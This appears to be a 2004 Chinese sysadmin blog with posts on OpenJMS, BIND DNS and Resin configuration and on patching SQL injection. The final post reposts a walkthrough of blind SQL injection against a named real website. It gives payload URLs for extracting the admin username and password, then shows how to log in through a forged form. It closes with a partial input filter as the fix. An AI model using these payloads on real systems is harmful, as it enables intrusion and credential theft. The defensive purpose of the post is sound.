    <Subscriber name="sub2" />
    </AdministeredTopic>
    <AdministeredTopic name="ObjectCacheTopic">
    </AdministeredTopic>
    <AdministeredTopic name="ProductPriceTopic">
    </AdministeredTopic>
    <AdministeredTopic name="PageCacheTopic">
    </AdministeredTopic>
    <AdministeredQueue name="queue1" />
    </AdministeredDestinations>
    </Configuration>


    :wq

    创建mysql数据库:
    [root@standby openjms-0.7.6.1]# /usr/local/mysql/bin/mysql -u root -p
    >create database openjms;
    >exit
    [root@standby openjms-0.7.6.1]# /usr/local/mysql/bin/mysql -u root -p openjms < ./config/db/create_mysql.sql

    运行:
    [root@standby openjms-0.7.6.1]# bin/setenv.sh
    [root@standby openjms-0.7.6.1]# bin/openjms.sh start -config config/rmi_jms.xml &

    测试:
    [root@standby bin]# ./runsender.sh -queue queue1
    出现以下内容,成功。
    ./examples.sh client.console.SimpleSender -queue queue1
    Publishing org.exolab.jms.message.BytesMessageImpl@8e32e7
    Publishing org.exolab.jms.message.BytesMessageImpl@be0e27
    Publishing org.exolab.jms.message.BytesMessageImpl@64c34e
    Publishing org.exolab.jms.message.BytesMessageImpl@ef137d
    Publishing org.exolab.jms.message.BytesMessageImpl@182da3d
    Publishing org.exolab.jms.message.BytesMessageImpl@ecb281
    Publishing org.exolab.jms.message.BytesMessageImpl@19360e2
    Publishing org.exolab.jms.message.BytesMessageImpl@b5dac4
    Publishing org.exolab.jms.message.BytesMessageImpl@1542a75
    Publishing org.exolab.jms.message.BytesMessageImpl@1ff0dde

    加入启动:
    把下行加入到/etc/rc.local
    cd /usr/local/openjms-0.7.6.1/;bin/setenv.sh;bin/openjms.sh start –config config/rmi_jms.xml &

    Posted by vitter at 2004-11-12 20:37:14 | 评论 (0)

    November 11, 2004

    DNS服务安装配置

    DNS服务安装配置

    ####################################################
    # 安装
    ####################################################

    groupadd named
    useradd -g named -d /usr/local/etc/named -s /sbin/nologin named

    cd /home/pkg/
    wget ftp://ftp.isc.org/isc/bind9/9.3.0/bind-9.3.0.tar.gz
    tar zxvf bind-9.3.0.tar.gz
    cd bind-9.3.0
    ./configure --prefix=/usr/local --mandir=/usr/local/share/man
    make
    make install

    ####################################################
    # 配置:
    ####################################################

    当安装完毕后,bind并不能立即使用,这是因为还有些配置文件没有配置。我们将举些简单的配置作为例子。

    在标准安装,有一个 named.conf文件, 一个rndc.conf文件,和一个namedb 目录,该目录包含 localhost.rev文件。我们安装这些到“/usr/local/etc”目录。如果该目录不存在,就先创建一个:

    mkdir /usr/local/etc

    同样,我们还需要创建一个“namedb”目录:

    mkdir /var/namedb

    现在,我们编辑“named.conf”文件。我们以后可以添加更多的内容,但现在它看起来是这样的
    options {
    directory "/var/namedb"; // 工作目录
    pid-file "named.pid"; // 放pid文件到工作目录,否则pid文件在/var/run目录
    };

    zone "." {
    type hint;
    file "named.root";
    };

    // 提供loopback地址127.0.0.1的反向地址映射
    zone "0.0.127.in-addr.arpa" {
    type master;
    file "localhost.rev";
    notify no;
    };

    zone "173.76.207.in-addr.arpa" in { type master; file
    "db.207.76.173";notify no; };

    //注意上面和下面形式不同的例子实际上完成的是一样的功能。

    zone "bind.com" {
    type master;
    file "bind.com.zone";
    notify no;
    };

    其中named.root(有时也称为named.cache,都是指的同一个东西,大家的习惯不同嘛)中包含的是目前全球顶级域名服务器地址信息,该文件有可能会随着时间的推移而变得过时了,需要我们定期去网上更新。这里是internic提供的免费下载的named.root,该文件的信息总是最新的。

    wget ftp://ftp.internic.net/domain/named.root
    mv named.root named/named.root

    下面,我们创建localhost.rev文件。该文件看起来是这样的:

    $TTL 3600
    @ IN SOA user1.bind.com. hostmaster.bind.com.
    (
    1 ; Serial ; Increment by one after every change
    3600 ; Refresh every hour
    900 ; Retry every 15 minutes
    3600000 ; Expire 1000 hours
    3600 ) ; Minimum 1 hour

    IN NS nameserv1.bind.com.
    IN NS nameserv2.bind.com.

    1 IN PTR localhost.

    你也可以下载localhost.rev文件,并将下载的文件放置到/var/namedb目录中:

    mv localhost.rev /var/namedb

    下面我们创建rndc.conf文件,并用它补充named.conf文件。rndc.conf 文件可以通过程序自动创建。我们先改变目录至/usr/local/etc :

    cd /usr/local/etc

    我们使用rndc-confgen产生该配置文件

    /usr/local/sbin/rndc-confgen > rndc.conf

    rndc.conf文件也包括一些必须加入到named.conf的行。我们可以通过下面命令自动将这些行加到named.conf文件中:

    tail -n10 rndc.conf | head -n9 | sed -e s/#\ //g >> named.conf

    或者把如下一行加到named.conf文件最后

    include "/usr/local/etc/rndc.key";
    然后
    tail -n10 rndc.conf | head -n9 | sed -e s/#\ //g > rndc.key

    现在,我们可以准备运行bind了。首先我们先在console上通过命令运行:

    /usr/local/sbin/named -u named -gc /usr/local/etc/named.conf &

    在出现一些信息后,将最后显示一行为“running”。
    使用如下命令:

    /usr/local/sbin/rndc -c /usr/local/etc/rndc.conf status

    它将显示我们服务器已经运行了,显示如下:

    number of zones: 43
    debug level: 0
    xfers running: 0
    xfers deferred: 0
    soa queries in progress: 0
    query logging is OFF
    recursive clients: 0/1000
    tcp clients: 0/100
    server is up and running

    查看dns服务:

    tcpdump port 53 -n
    或者ps aux|grep named

    bind启动后,我们可以用rndc来控制bind的运行、重新调配置文件,而不再需要野蛮地用kill对付bind了。

    下面附上几个配置文件,供参考,对于我们的dns只需要把现有的dns里面的一台的配置文件和db库文件复制过来即可。

    ####################################################
    # 配置文件(named.conf)
    ####################################################

    acl internals { 192.168.0.0/16; 210.78.136.34; 202.99.88.192/26; };

    options {
    version "Hello,this is my DNS.Welcome to u :)";
    directory "/usr/local/etc/named";
    pid-file "named.pid";
    forwarders { 202.106.196.115; 211.94.65.97; };
    // forward only;
    // recursion no;
    allow-query { any; };
    allow-recursion { internals; };
    allow-transfer { internals; };
    // listen-on { 192.168.10.2; };
    // listen-on port 53 { 192.168.10.2; };
    };

    controls {
    inet 127.0.0.1 allow { localhost; } keys { rndc-key; };
    };

    include "/usr/local/etc/rndc.key";

    # 日志
    /*
    logging {

    category "default" { "default_syslog"; "default_debug"; };
    category "unmatched" { "null"; };

    channel "default_syslog" {
    syslog daemon;
    severity info;
    };

    channel "default_debug" {
    file "default_debug.log";
    severity dynamic;
    };

    channel "null" { null; };

    };
    */

    # 根域
    # ftp://ftp.internic.net/domain/named.cache
    # ftp://rs.internic.net/domain/named.cache
    zone "." {
    type hint;
    file "named.cache";
    };

    # 本地域
    zone "localhost" {
    type master;
    file "localhost.zone";
    notify no;
    };

    zone "0.0.127.in-addr.arpa" {
    type master;
    file "0.0.127.in-addr.arpa.zone";
    notify no;
    };

    # 主域
    zone "xyz.com" {
    type master;
    file "xyz.com.zone";
    allow-transfer { 192.168.10.1; };
    };

    zone "10.168.192.in-addr.arpa" {
    type master;
    file "10.168.192.in-addr.arpa.zone";
    allow-transfer { 192.168.10.1; };
    };

    # 辅域
    zone "abc.com" {
    type slave;
    file "abc.com.zone";
    masters { 192.168.100.1; };
    };

    zone "100.168.192.in-addr.arpa" {
    type slave;
    file "100.168.192.in-addr.arpa.zone";
    masters { 192.168.100.1; };
    };

    ####################################################
    # 本地域文件(named/localhost.zone)
    ####################################################

    $TTL 86400
    @ IN SOA @ root.localhost (
    1 ; serial
    28800 ; refresh
    7200 ; retry
    604800 ; expire
    86400 ; ttl
    )

    IN NS localhost.
    @ IN A 127.0.0.1

    ####################################################
    # 本地域反向解析文件(named/0.0.127.in-addr.arpa.zone)
    ####################################################

    $TTL 86400
    @ IN SOA localhost. root.localhost (
    1 ; serial
    28800 ; refresh
    7200 ; retry
    604800 ; expire
    86400 ; ttk
    )

    @ IN NS localhost.
    1 IN PTR localhost.

    ####################################################
    # 主域文件(named/xyz.com.zone)
    ####################################################

    $TTL 86400
    @ IN SOA ns2.xyz.com. postmaster.xyz.com. (
    1 ; serial
    28800 ; refresh
    7200 ; retry
    604800 ; expire
    86400 ; ttl
    )

    IN NS ns1.xyz.com.
    IN NS ns2.xyz.com.
    IN MX 10 mail.xyz.com.
    IN A 192.168.10.3

    ns1 IN A 192.168.10.1
    ns2 IN A 192.168.10.2
    www IN A 192.168.10.3
    mail IN A 192.168.10.4

    win IN CNAME www.xyz.com.
    lin IN CNAME www.xyz.com.

    ####################################################
    # 主域反向解析文件(named/10.168.192.in-addr.arpa.zone)
    ####################################################

    $TTL 86400
    @ IN SOA ns2.xyz.com. postmaster.xyz.com. (
    1 ; serial
    28800 ; refresh
    7200 ; retry
    604800 ; expire
    86400 ; ttk
    )

    IN NS ns1.xyz.com.
    IN NS ns2.xyz.com.

    1 IN PTR ns1.xyz.com.
    2 IN PTR ns2.xyz.com.
    3 IN PTR www.xyz.com.
    4 IN PTR mail.xyz.com.

    3 IN PTR xyz.com.
    3 IN PTR win.xyz.com.
    3 IN PTR lin.xyz.com.

    ####################################################
    # 防火墙设置
    ####################################################


    ###################################################
    # 运行DNS
    ###################################################

    chown -R named.named /var/namedb

    /usr/local/sbin/named-checkconf
    /usr/local/sbin/named-checkzone xyz.com /var/namedb/xyz.com.zone

    /usr/local/sbin/named -u named -gc /usr/local/etc/named.conf
    /usr/local/sbin/named -u named -c /usr/local/etc/named.conf
    /usr/local/sbin/rndc -c /usr/local/etc/rndc.conf status

    注:修改主区域文件后,要把serial设为更大的值

    可以把如下加入到/etc/rc/local实现开机自动启动named
    /usr/sbin/named -u named -gc /usr/local/etc/named.conf

    修改dns的db文件后只需要/usr/local/sbin/rndc reload即可。
    echo "/usr/local/sbin/named -u named -gc /usr/local/etc/named.conf &" >> /etc/rc.local

    Posted by vitter at 2004-11-11 16:35:34 | 评论 (0)

    November 08, 2004

    Resin FAQ集锦

    Resin中的libcaucho.so not found 错误?

    libcaucho.so包含了一些用于Unix的JNI。当你调用配置make时,它必须被编译。
    由于某种缘故,JVM没有取得库。你很可能要检查LD_LIBRARY_PATH是否在你的环境以及wrapper.pl中。

    对很多站点来说,libcaucho.so丢失不是一个大问题。它只是grab一些CPU statistics。
    但是,it also enabled the setuid needed by user-name and group-name. 所以如果你从root使用user-name来改变用户,
    则需要libcaucho.so处于运行中。

    Resin在windows下重新编译时冲突

    这发生于一些版本的JDK的内部javac编译器。
    要解决这个问题,要使用外部编译器javac或者jikes:

    <java compiler='javac'/>

    如何将Resin安装为一个Linux service?

    (Stephen Kuo回答)
    这是一个很基本的问题。
    在我的Red Hat 6.2中,我在/etc/rc.d/rc.local文件中加入了下列行从而使Resin成为一个服务:

    /usr/local/resin1.1/bin/srun.sh start

    但当我重启系统后, Resin没有起来。

    (Guy Tal回答)
    你必须在 rc 文件中设置环境参数(当你从命令行执行,它们只在你自己的环境有效,而rc文件做为root来运行所以
    没有被设置)。加入下列行:

    ----------Snip----------
    PATH=/usr/local/bin:/usr/bin:/bin
    export PATH

    JAVA_HOME=/usr/java
    export JAVA_HOME

    RESIN_HOME=/opt/resin1.1
    export RESIN_HOME

    CLASSPATH=/usr/java/jre/lib/rt.jar
    CLASSPATH=$CLASSPATH:/opt/resin1.1/lib/resin.jar
    CLASSPATH=$CLASSPATH:/opt/resin1.1/lib/jsdk22.jar
    CLASSPATH=$CLASSPATH:/opt/resin1.1/lib/jdk12.jar
    export CLASSPATH
    ----------Snip----------

    你也可以在srun.sh或者wrapper.pl中设置这些环境参数。

    如何在resin.conf中设置出错页?

    基本命令是error-page。有3种出错页:
    Error code pages, e.g. 404
    Exception, e.g. java.lang.NullPointerException
    connection failures, "can't connect to srun"

    Resin中各文件都放在哪里?

    文档root可在resin.conf中设置,使用app-dir:

    <http-server app-dir='/www/htdocs'>
    ...
    </http-server>


    每一个虚拟主机和每一个web-app都有自己的app-dir。app-dir配置必须放在resin.conf,而不是在web.xml
    (否则Resin无法找到web.xml):

    <web-app id='myapp' app-dir='/www/myapp'>
    ...
    </web-app>


    如果你没有定义app-dir, Resin将使用在 /www/htdocs/myapp 中的id。
    可选的,你可以把一个web.xml放在[app-dir]/WEB-INF/web.xml (同样,根据JSDK 2.2)。
    web.xml可以包含web-app在resin.conf中可以放的东西。

    自动重载类缺省时属于 [app-dir]/WEB-INF,根据JSDK 2.2:

    classes -- auto-load/recompile Java servlet/bean/classes directory
    lib -- auto-loaded *.jar files

    在web-app中, 你可以增加到auto-reload classpath:

    <classpath id='myclasses' source='/home/work/proj/src' compile='true'/>

    JSP/Java工作目录是 /tmp/caucho (或 \temp\caucho)。你可以这样修改:

    <java compiler='javac' work-dir='/path/to/my/work/dir'/>

    最后,启动脚本将在Resin启动前,在resin1.1/lib查找启动脚本并加入到classpath中。

    Resin中VerifyError when loading JSP files 错误?

    JVM对一个方法的代码长度有很多限制。大多数编译器都不告诉你你的代码超长了,所以当Resin试图装载
    编译后的代码时你看到了这样的错误信息。这在你过多使用tag库时容易出现,因为每一个tag产生相当多的代码。

    仅有的解决办法是将你的页面分为多个子页面,使用jsp:include。实际上那样将是一个优点,
    因为那样你就可以使用Resin的caching来优化这些子页面的性能。


    Resin中的Multiple classpath can't auto-compile错误

    你定义在resin.conf中的classpath被排成了序列。当自动编译某个类的时候,只有下一个是有效的:

    <:classpath id='foo/classes'/>
    <:classpath id='bar/classes'/>


    Resin将首先将编译bar/classes中的类。bar/classes/Test.java无法使用foo/classes中的任何类。
    一旦bar/classes已经完成,Resin将编译foo/classes中的类。foo/classes中的类可以使用bar/classes中的任何东西。

    Resin中共有多少active http sessions?

    com.caucho.server.http.Statistics对象中有这些信息。它作为"caucho.statistics" 保存于ServletContext (application)中。

    Resin中如何打开一个数据文件?

    需要将URL翻译为一个真实路径。这要使用getRealPath.
    Resin的当前目录是RESIN_HOME,它不是通常你放数据文件的位置。
    你可以使用ServletContext.getRealPath()或者相对于当前URL来使用ServletRequest.getRealPath().

    ServletContext app = getServletContext();
    String path = app.getRealPath("/WEB-INF/mydata.csv");
    InputStream is = new FileInputStream(path);
    ...

    Resin中如何禁止目录浏览?

    将directory-servlet设置为 "none",就可以禁止目录浏览。

    <web-app id='/'>
    <directory-servlet id='false'/>
    </web-app>


    为什么Resin中两个虚拟主机使用同样的index.jsp?

    正如再虚拟主机参考中所述,你要在resin.conf中使用对虚拟主机进行配置。
    如果忽略, Resin将为各主机产生相同的类。所以一个主机可以看到第二个主机的Jsp文件。
    通过加入 , Resin可以使各个类名保持唯一。

    Resin中如果用一个servlet作为welcome页?

    没有其它url-pattern会仅仅匹配'/'.所以url-pattern='/'将会吧servlet设置为缺省的servlet,
    并取代文件servlet.
    你要使用Resin的url-regexp。 url-regexp='^/$' 会达到你要的目的。

    Resin中mod_caucho caucho-status返回no data

    这可能是由于"EAPI"冲突。如果你的Apache和EAPI一起编译,而Resin没有包含二单独进行了编译,mod_caucho会冲突。
    Apache日志会是这样的:
    [Tue Aug 8 15:33:24 2000] [notice] caught SIGTERM, shutting down
    [Tue Aug 8 15:33:24 2000] [warn] Loaded DSO /etc/httpd/modules/mod_caucho.so
    使用plain Apache 1.3 API, This module might crash under EAPI! (please
    recompile it with -DEAPI)

    通常,./configure脚本可以自动检测出是否需要EAPI, 如果没有能够,你可以这么做:

    unix> ./configure --with-apache-eapi

     
    我可以在Resin中使用mod_rewrite?

    是的,但你要确信使用passthrough标志,这样Resin可以在mod_rewrite以后取得控制。
    RewriteEngine on
    RewriteRule ^/hello.html$ /hello.jsp [L,PT]

    如何使Resin中index.jsp 作为IIS的默认文档?

    (Stefan Wesner回答)
    使index.jsp成为active文档是属于IIS配置的工作范围。
    在IIS4.0,可以按以下步骤进行:
    打开用于"Default Web Site"的界面 (或者任何其它Web-Site或VirtualDirectorx).
    选择"Home Directory Tab for the Default Web Site" 或者 "Virtual Directory"页框。
    选择"Configuration"
    为你的iis_srun.dll 将 .xtp 和.jsp新增应用映射, (我还用了PUT,DELETE, 只要copy它) ,
    关闭该子对话框。
    选择"Documents" 页框增加index.jsp和index.xtp到缺省文档列表。
    试一下http://yourhost/

    如何将Resin和SSL配置在一起?

    (Nicholas Lehuen回答:)
    这里是简短的步骤,用于将SSL安装到Resin。

    目标:将对SSL的支持安装到Resin

    要求:
    最新的Resin 1.2 snapshot (我成功用了08/04/2000 snapshot) http://www.caucho.com/download/index.xtp
    JSSE 1.0.1 http://java.sun.com/products/jsse/
    可选: 一个certificate authority (CA)例如Verisign, Thawte,或者你自己的。
    Thawte提供一个免费的测试certificate authority服务,这可以使你在购买前能够检测证书处理过程。
    当然,你也可以通过提供自己认证的public key certificate来略过CA。 这在稍后再介绍。 (https://www.thawte.com/cgi/server/test.exe )

    JSSE setup

    请按照http://java.sun.com/products/jsse/install.html 提供的安装指南。
    即使Resin有它自己的provider registration system (在下一步中给出),
    我仍建议你还是注册SunJSSE,通过编辑/lib/security/java.security(在installation guide中有解释)。
    这将使keytool的使用变得简单。

    Keystore初始化

    在Resin安装目录中的某处创建一个名为'keys'的目录。 我建议你把它放在Resin home路径下。
    Copy文件 /lib/security/cacerts到'keys'目录。
    将cacerts文件改名为任何你想要的名字。假设取名为 'private.keystore'。
    Keystore protection
    你的private.keystore文件在当前只是cacerts keystore的一个副本,它包含了CA public key certificates
    (对客户端HTTPS连接非常重要)。我们要将你自己的private key加入到该文件,这样它就有了口令保护,
    如果别人窃取了该文件也无法伪造certificate。
    进入'keys'目录
    执行以下命令:
    keytool -storepasswd -storepass changeit -new YourPasswordHere \ -keystore private.keystore

    (cacerts keystore的缺省口令是'changeit')

    产生Private key

    现在我们生成你的key pair, 它由一个private (必须保密!) 和一个public key组成。
    一个要点是要使用RSA key pair generator, 而不是缺省的DSA。这是JSSE security provider要使用的。
    执行以下命令:
    M:\keys>keytool -genkey -keyalg RSA -alias myserverkeypair \
    -storepass YourPasswordHere -keystore private.keystore
    What is your first and last name?
    [Unknown]: www.myserver.com
    What is the name of your organizational unit?
    [Unknown]: Foo Dept
    What is the name of your organization?
    [Unknown]: Bar
    What is the name of your City or Locality?
    [Unknown]: Paris
    What is the name of your State or Province?
    [Unknown]: France
    What is the two-letter country code for this unit?
    [Unknown]: FR
    Is ST=France, C=FR> correct?
    [no]: yes

    Enter key password for
    (RETURN if same as keystore password):


    你必须写明你的HTTP server名字,作为certificate的CN (这样可以回复给 'first and last name')。
    如果没有则浏览器将向你的客户发出警告。 其它信息都看你的选择来定,
    但是key pair生成和attributes definitions过程对"real-life" cryptography来说是非常严格的。
    Verisign将重复2次检查你的身份,地址等。

    另一个要点是:DON'T AFFECT A PASSWORD to your key pair. 它必须保持得和keystore中的一样,至少等到
    Resin提供了一个配置key pair password的方法。

    Public Key Certificate (可选)

    请求一个public key certificate并把public key certificate插入到你的keystore。为了让用户信任你的server,
    你不得不使你的public key certificate (PKC)被一个Certificate Authority (CA) (Verisign, Thawte, Certplus...)来签发。
    可以通过发送certificate signature request (CSR)到CA来完成,
    要复制去所有合法的必要材料,然后取得返回的signed PKC。
    这一步对于作为产品的服务器来说是必须执行的。除非你有办法让你的用户确信你的PKC是合法的而步不需要CA signature,
    例如这在intranet环境下还是可能的。然而,作为试验的目的,你可以从使用你的self-signed PKC开始而不用任何CA signature。
    一种中间的方案就是使用test CA,这样你可以检查你的CSR是否正确发出了,Certificate链是否被正确地检查了,等等。
    Thawte提供了一个test CA(在上面提到地地址)
    通过下列命令产生一个CSR :
    M:\keys>keytool -certreq -alias myserverkeypair -storepass YourPasswordHere \
    -keystore private.keystore
    -----BEGIN NEW CERTIFICATE REQUEST-----
    MIIBqjCCARMCAQAwajELMAkGA1UEBhMCRlIxDzANBgNVBAgTBkZyYW5jZTEOM
    AwGA1UEBxMFUGFy
    ... cut ...
    KDYZTklbg1NOiXTdXIhPHb3+YOgZ+HoeDTxOx/rRhA==
    -----END NEW CERTIFICATE REQUEST-----

    Copy/Paste 这个CSR到下列地址地文本框中。让其它选项全部保持缺省。
    https://www.thawte.com/cgi/server/test.exe

    你将得到一个certificate,它看上去是这样的:
    -----BEGIN CERTIFICATE-----
    MIICjzCCAfigAwIBAgIDBp8SMA0GCSqGSIb3DQEBBAUAMIGHMQswCQYDVQQG
    EwJa
    ... cut ...
    /93Q58iI4fgQ/kc+l8ogpVwh/IJw1Ujmszd19Jf+pxyySMM=
    -----END CERTIFICATE-----

    Copy/Paste这个certificate到名为'myserver.cer'的文件。如果你有Microsoft Internet Explorer 5.0 (也许是4.0),
    你可以直接打开这个 .cer文件并看到certificate。当你的用户请求由你的server提供的页面的security属性时,将发出
    一个警告。表示你不能相信该证书因为它没有指向一个trusted root CA。
    你可以继续,也可以下载并信任test root CA (在https://www.thawte.com/servertest.crt提供 )。
    注意,最终用户不应该相信也肯定不会接受这一test root CA。
    不管怎么说,要导入你的被签发的signed certificate,首先不得不导入test root CA certificate。
    可以通过以下命令下载并导入:

    M:\keys>keytool -import -alias servertest -storepass YourPasswordHere \
    -keystore private.keystore -file servertest.crt
    Owner: CN=Thawte Test CA Root, OU=TEST, O=Thawte, ST=FOR TESTING, C=ZA
    Issuer: CN=Thawte Test CA Root, OU=TEST, O=Thawte, ST=FOR TESTING, C=ZA
    Serial number: 0
    Valid from: Thu Aug 01 02:00:00 CEST 1996 until: Thu Dec 31 22:59:59 CET 2020
    Certificate fingerprints:
    MD5: 5E:E0:0E:1D:17:B7:CA:A5:7D:36:D6:02:DF:4D:26:A4
    SHA1: 39:C6:9D:27:AF:DC:EB:47:D6:33:36:6A:B2:05:F1:47:A9:B4:DA:EA
    Trust this certificate? [no]: yes
    证书Certificate将加入到keystore中。

    导入证书,通过以下命令将它附加导你的server key pair:

    M:\keys>keytool -import -alias myserverkeypair -storepass YourPasswordHere \
    -keystore private.keystore -file myserver.cer
    证书的回复reply安装在keystore中。

    Key pair验证
    通过以下命令:
    M:\keys>keytool -list -v -alias myserverkeypair -storepass YourPasswordHere \
    -keystore private.keystore
    Alias name: myserverkeypair
    Creation date: Fri Aug 11 23:07:53 CEST 2000
    Entry type: keyEntry
    Certificate chain length: 2
    Certificate[1]:
    Owner: CN=www.myserver.com, OU=Foo Dept, O=Bar, L=Paris, ST=France, C=FR
    Issuer: CN=Thawte Test CA Root, OU=TEST, O=Thawte, ST=FOR TESTING, C=ZA
    Serial number: 69f12
    Valid from: Fri Aug 11 23:00:07 CEST 2000 until: Mon Sep 11 23:00:07 CEST 2000
    Certificate fingerprints:
    MD5: 41:84:55:8C:A1:85:28:DA:B0:5A:47:D6:5B:D2:ED:41
    SHA1: 61:DE:DB:E6:7C:3C:AD:90:63:9B:20:E0:FF:3B:02:3A:60:EB:B4:82
    Certificate[2]:
    Owner: CN=Thawte Test CA Root, OU=TEST, O=Thawte, ST=FOR TESTING, C=ZA
    Issuer: CN=Thawte Test CA Root, OU=TEST, O=Thawte, ST=FOR TESTING, C=ZA
    Serial number: 0
    Valid from: Thu Aug 01 02:00:00 CEST 1996 until: Thu Dec 31 22:59:59 CET 2020
    Certificate fingerprints:
    MD5: 5E:E0:0E:1D:17:B7:CA:A5:7D:36:D6:02:DF:4D:26:A4
    SHA1: 39:C6:9D:27:AF:DC:EB:47:D6:33:36:6A:B2:05:F1:47:A9:B4:DA:EA

    你可以看到别名myserverkeypair指向了一个 keyEntry类型的入口,
    它的certificate链有2个certificate, 第一个是你自己的certificate, 由Thawte Test CA Root签发(sign),
    另一个则是Thawte Test CA Root自己的。
    Resin配置 (resin.conf)
    增加对SunJSSE security provider的支持:

    <caucho.com>
    <security-provider id='com.sun.net.ssl.internal.ssl.Provider'/>

    <!-- declare a new HTTP server on port 443 (standard port for HTTPS),
    - with SSL enabled -->

    <http-server>
    <app-dir>doc

    <!-- the http port -->
    <http port=80/>

    <!-- the srun port, read by both JVM and plugin -->
    <srun host='localhost' port='6802'/>

    <http port=443>
    <ssl>true
    <key-store-type>jks
    <key-store-file>file://m:/keys/private.keystore
    <key-store-password>YourPasswordHere
    </http>


    测试一下 !
    试着用https连接你的server,而不用http !
    我已经在Resin/JDK 1.3/Windows NT 4 SP6 和JDK 1.2.2/Solaris 7上成功应用了SSL。
    如果能将HTTPS和WAP混合在一起则将更有趣... !

    Resin中classloader次序是怎样的?

    在Resin 1.2.b2 中:
    命令行classpath
    resin/lib目录
    envivonmental classpath
    一个应用的WEB-INF/lib和WEB-INF/classes
    次序在b2中已经修改了。在以前的版本中,WEB-INF类比其它都有优先权,但那样不太标准,容易产生问题。

    Posted by vitter at 2004-11-08 17:55:12 | 评论 (0)

    October 17, 2004

    网站首页修改

    为了便于搜索引擎搜索首页内容,修改asp文件取消包含的方式,采用直接从数据库读取数据内容。
    前一段时间修改SQL注入的问题,浪费了N多时间,准备论坛更换,可能采用php的论坛。

    Posted by vitter at 2004-10-17 15:25:43 | 评论 (0)

    October 16, 2004

    再次发现SQL injection问题

    今天修改了文章系统的index.asp文件代码,同样没有过滤字符,现在修改好了。加上最早的MD5加密,跟自己重新写套系统差不多,垃圾东西。唉,不知道什么时候还会发现新的文件有问题。

    Posted by vitter at 2004-10-16 00:39:17 | 评论 (0)

    October 14, 2004

    彻底解决SQL injection问题

    发现上次修改后的下载系统还有index文件有问题,修改比较麻烦,基本上跟重写一个差不多,需要过虑的地方太多了,经过2天修改也解决了问题,修改了2个文件

    Posted by vitter at 2004-10-14 22:52:22 | 评论 (0)

    October 13, 2004

    把文章和下载系统的SQL injection问题解决

    很久以前就知道这2个系统有问题,一直没时间弄,当时连用户密码都没加密,我加上了md5加密,但是问题还在,现在改了表名,但是这样不是根本,根本还是对提交的进行字符过滤,在哥们的帮助下,现在已经完成。下面付相关文章,只有最后的解决办法是自己写的,前面的漏洞利用原理很简单,但是不保证所叙述方法的安全性。只是记录下自己的解决办法,顺便把原理带出来。

    <b>SQL注射针对动网文章printpage.asp漏洞修补</b>

    LIST.ASP文件就不用多说了,相信大家都做过滤了吧?除非你是想让大家都可以在你站上发帖子。我这次说的是PRINTPAGE.ASP这个文件.同样存在毛病(打印本页的功能)因为很多人都忽略了他的存在.检查代码

    set rs=server.createobject("adodb.recordset")
    sql="select Aclass.class,ANclass.Nclass,article.title,article.classid,article.Nclassid from article,Aclass,ANclass where article.classid=Aclass.classid and article.Nclassid=ANclass.Nclassid and article.articleID="&request("id")
    rs.open sql,conn,1,1

    sql="select * from article where articleid="&request("id")
    rs.open sql,conn,1,1

    确实存在问题.都没有做过滤.好。让我们开始吧。

    原本是想看看黑防页子上有无这个毛病(我用的文章系统和黑防、黑盟恰好类似),但谁想到他们早将此多余的功能给DEL掉咯(确实无话说)~~无奈ING。突然联想到中国黑客联盟也用的这个文章系统。打开网站-打开一篇文章 在 地址栏中提交 and 1=1 出现错误 看来LIST.ASP文件已经做了过滤~接着,看到打印这个功能。点击
    http://www.chinahacker.com/article/printpage.asp?id=631 在后面提交 and 1=1
    判断问题是否存在
    http://www.chinahacker.com/article/printpage.asp?id=631 and 1=1

    正常显示该页~

    http://www.chinahacker.com/article/printpage.asp?id=631 and 1=2

    提示:“有找到相关文章”

    呵呵 看来kender也没注意到这个文件的问题哦~我们就利用他来拿到中国黑客联盟后台的密码。和以往一样 我们来猜出管理员的密码

    http://www.chinahacker.com/article/printpage.asp?id=631 and 1=(select min(id) from admin where len(username)>5)

    判断USERNAME是否大于5位,若等于就正常显示

    http://www.chinahacker.com/article/printpage.asp?id=631 and 1=(select min(id) from admin where len(username)=5)

    判断USERNAME是否等于5位,同上。下面不再重复

    http://www.chinahacker.com/article/printpage.asp?id=631 and 1=(select min(id) from admin where mid(username,1,1)='a')

    查询第一个名字是否是a 正确的话正常返回该页。通过更改(username,1,1)='a')其中第一个1代表第几位 。我们只修改他就可以了。由于他们站长是kender 所以这个很容易就拿到了

    关于这方面的知识就不再详细说了。请参考以前的资料

    and 1=(select min(id) from admin where len(password)>5)
    判断密码大于5位
    and 1=(select min(id) from admin where len(password)=6)
    判断密码等于6位
    and 1=(select min(id) from admin where mid(password,1,1)='a')

    就这样。我们很快就拿到了对方文章系统的后台密码。

    呵呵 激动哦~~已我用这个文章系统的经验。马上提交准备登陆后台。
    http://www.chinahacker.com/article/admin.asp
    该页无法显示
    404错

    晕 肯定是站长把文件删除了……哎 没办法。我又回我又重新登陆我自己的文章系统仔细观察
    发现登陆后的页面是manage.asp这个文件。提交。
    http://www.chinahacker.com/article/manage.asp

    提示“非法登陆,您的操作已经被记录!!! ”

    然后有个返回。但返回的是你刚才的页面。似乎对我们没什么用

    我又打开我的登陆窗口查看提交的文件

    <form method="post" action="Chkadmin.asp"> //注意这里
    <table class="border" width="300" border="0" cellpadding="4" cellspacing="0" >
    <tr class="title">
    <td colspan="2">
    <div align="center">操作: 确认身份</div>
    </td>
    </tr>
    <tr>
    <td class="tdbg" colspan="2">
    剩下的代码略掉了。 可以看出是通过提交到这个文件处理的Chkadmin.asp

    先检查一下对方是否存在这个文件。如果是的话就爽了

    http://www.chinahacker.com/article/Chkadmin.asp

    提示:“用户名或密码错误!!!”

    呵呵 看来KENDER没将这个文件改名哦~

    好。我们将自己的登陆页面另存为LOGIN.HTM
    然后把<form method="post" action="Chkadmin.asp">

    改为<form method="post" action="http://www.chinahacker.com/article/Chkadmin.asp">

    输入用户名、密码。OK~成功登陆

    后面经过检查文件又发现SENDMAIL同样存在注入的毛病

    方法类似。提交后没任何显示,但是点发送时就能够看出问题了

    不再说了

    这些问题都是没有对空格和‘等其他符号过滤而出现的隐患。

    简单过滤方法 在
    dim sql
    dim rs
    dim rstype
    dim typesql
    dim typeid,typename,classname,classid,Nclassname,Nclassid
    dim title
    后面加对id过滤
    dim Sql_injection_id
    Sql_injection_id=replace(request("id")," ","")
    if isnumeric(Sql_injection_id)=0 or Sql_injection_id="" then
    Response.Write("非法ID")
    response.end
    end if
    然后在

    dim key
    sql="select * from article where articleid="& Sql_injection_id
    rs.open sql,conn,1,1
    if rs.eof and rs.bof then
    response.write "没有找到相关文章。"
    response.end
    end if
    if rs("Nkey")<>"" then
    key=rs("Nkey")
    else
    key="None News"
    end if

